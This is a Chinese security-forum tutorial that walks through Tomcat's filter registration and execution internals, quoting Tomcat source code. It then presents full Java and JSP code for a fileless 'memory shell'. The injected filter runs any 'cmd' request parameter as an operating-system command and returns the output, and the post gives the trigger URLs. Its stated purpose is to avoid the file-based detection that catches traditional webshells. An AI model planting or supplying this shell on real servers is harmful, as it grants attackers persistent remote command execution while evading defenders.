-
-
[原创]手把手教你实现tomcat内存马
-
发表于: 2022-5-19 10:23 5369
-
内存马实现
本文全是自己猜的,没有实际操作
内存马
- 为什么要使用内存马
- 有哪些类型的内存马
- 如何编写内存马
为什么要使用内存马
- 传统的webshell或以文件驻留的后门越来越容易被检测。
- 文件不落地,检测困难
有哪些类型的内存马
- 根据不同的容器都有自己对应的内存马
- tomcat
- weblogic
- 等
Tomcat Filter内存马
- Filter是如何被创建的
- Filter是如何被执行的
- Filter是如何被销毁的(内存马暂时用不到)
Tomcat启动流程
- 从web.xml文件读取配置信息
流程
- 从
webxml
读取配置 - 将
FilterDef
加入context
ContextConfig#configureContext
1 2 3 4 5 6 | for (FilterDef filter : webxml.getFilters().values()) { if ( filter .getAsyncSupported() = = null) { filter .setAsyncSupported( "false" ); } context.addFilterDef( filter ); } |
- 如果
filterDef == null
我们需要设置三个东西filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
ApplicationContext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | FilterDef filterDef = context.findFilterDef(filterName); / / Assume a 'complete' FilterRegistration is one that has a class and / / a name if (filterDef = = null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() ! = null && filterDef.getFilterClass() ! = null) { return null; } } if ( filter = = null) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass( filter .getClass().getName()); filterDef.setFilter( filter ); } |
ContextConfig#configureContext
1 2 3 | for (FilterMap filterMap : webxml.getFilterMappings()) { context.addFilterMap(filterMap); } |
ContextConfig#processAnnotationWebFilter
1 | FilterMap filterMap = new FilterMap(); |
总结
- 从web.xml中读取到tomcat filter配置信息
- 将过滤器类和name对应起来(FilterDef)
- 将URLPattern和name对应起来(FilterMap)
- 将FilterDef和FilterMap加入context
Tomcat Filter初始化流程
StandardContext#filterStart
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | public boolean filterStart() { if (getLogger().isDebugEnabled()) { getLogger().debug( "Starting filters" ); } / / Instantiate and record a FilterConfig for each defined filter boolean ok = true; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug( " Starting filter '" + name + "'" ); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.filterStart" , name), t); ok = false; } } } return ok; } |
Tomcat Filter执行流程
- 通过分析Filter执行,可以知道一个Filter需要哪些基本的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | @WebFilter (filterName = "testFilter" ,urlPatterns = "/*" ) public class MyFilterDemo1 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println( "filter init" ); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "do Filter" ); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } |
分析internalDoFilter
- filter是一个数组
- 利用下标进行遍历和匹配规则
- 通过
Filter
数组或者说通过FilterChain
找到第一个关键数据ApplicationFilterConfig
- 问题
FilterChain
是如何创建的?
创建一个FilterChain
1 | ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); |
创建过滤链:createFilterChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { / / If there is no servlet to execute, return null if (servlet = = null) return null; / / Create and initialize a filter chain object ApplicationFilterChain filterChain = null; if (request instanceof Request) { Request req = (Request) request; if ( Globals .IS_SECURITY_ENABLED) { / / Security: Do not recycle filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain = = null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { / / Request dispatcher in use filterChain = new ApplicationFilterChain(); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); / / Acquire the filter mappings for this Context / / 获取此上下文的筛选器映射 StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); / / If there are no filter mappings, we are done if ((filterMaps = = null) || (filterMaps.length = = 0 )) return (filterChain); / / Acquire the information we will need to match filter mappings / / 获取匹配过滤器映射所需的信息 DispatcherType dispatcher = (DispatcherType) request.getAttribute( Globals .DISPATCHER_TYPE_ATTR); String requestPath = null; Object attribute = request.getAttribute( Globals .DISPATCHER_REQUEST_PATH_ATTR); if (attribute ! = null){ requestPath = attribute.toString(); } String servletName = wrapper.getName(); / / Add the relevant path - mapped filters to this filter chain / / 将相关路径映射筛选器添加到此筛选器链 for ( int i = 0 ; i < filterMaps.length; i + + ) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue ; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig = = null) { / / FIXME - log configuration problem continue ; } filterChain.addFilter(filterConfig); } / / Add filters that match on servlet name second / / 添加与servlet名称匹配的过滤器 for ( int i = 0 ; i < filterMaps.length; i + + ) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue ; } if (!matchFiltersServlet(filterMaps[i], servletName)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig = = null) { / / FIXME - log configuration problem continue ; } filterChain.addFilter(filterConfig); } / / Return the completed filter chain return filterChain; } |
Java代码实现伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | package cn.jl.demo; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.net.DispatchType; import javax.servlet. * ; import javax.servlet.annotation.WebFilter; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util. Map ; @WebFilter ( "/*" ) public class MyFilterDemo implements Filter { static { try { final String name = "jl" ; final String URLPath = "/*" ; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); MyFilterDemo myFilterDemo = new MyFilterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(myFilterDemo); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); }catch (Exception ex){ ex.printStackTrace(); } } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "Do Filter ......" ); String cmd; if ((cmd = servletRequest.getParameter( "cmd" )) ! = null) { Process process = Runtime.getRuntime(). exec (cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) ! = null) { stringBuilder.append(line + '\n' ); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return ; } filterChain.doFilter(servletRequest, servletResponse); System.out.println( "doFilter" ); } @Override public void destroy() { } } |
http://localhost:8080/xx.jsp?cmd=whoami
JSP代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | < % @ page import = "org.apache.catalina.core.ApplicationContext" % > < % @ page import = "java.lang.reflect.Field" % > < % @ page import = "org.apache.catalina.core.StandardContext" % > < % @ page import = "java.util.Map" % > < % @ page import = "java.io.IOException" % > < % @ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" % > < % @ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" % > < % @ page import = "java.lang.reflect.Constructor" % > < % @ page import = "org.apache.catalina.core.ApplicationFilterConfig" % > < % @ page import = "org.apache.catalina.Context" % > < % @ page language = "java" contentType = "text/html; charset=UTF-8" pageEncoding = "UTF-8" % > < % / / 设置< filter - name> final String name = "jl" ; / / 获取filterConfigs ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField( "context" ); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField( "context" ); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField( "filterConfigs" ); Configs.setAccessible(true); Map filterConfigs = ( Map ) Configs.get(standardContext); if (filterConfigs.get(name) = = null) { / / 这里实现 filter Filter filter = new Filter () { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "Do Filter ......" ); String cmd; if ((cmd = servletRequest.getParameter( "cmd" )) ! = null) { Process process = Runtime.getRuntime(). exec (cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) ! = null) { stringBuilder.append(line + '\n' ); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return ; } filterChain.doFilter(servletRequest, servletResponse); System.out.println( "doFilter" ); } @Override public void destroy() { } }; / / 设置FilterDef FilterDef filterDef = new FilterDef(); filterDef.setFilter( filter ); filterDef.setFilterName(name); filterDef.setFilterClass( filter .getClass().getName()); / / 设置FilterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern( "/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterDef(filterDef); standardContext.addFilterMapBefore(filterMap); / / 将FilterConfig加入FilterConfigs中 Constructor constructor = ApplicationFilterConfig. class .getDeclaredConstructor(Context. class , FilterDef. class ); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } % > |
http://localhost/filter.jsp
http://localhost/1.jsp?cmd=whoami
参考链接
https://xz.aliyun.com/t/10362#toc-6
https://xz.aliyun.com/t/10696
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
看原图
赞赏
雪币:
留言: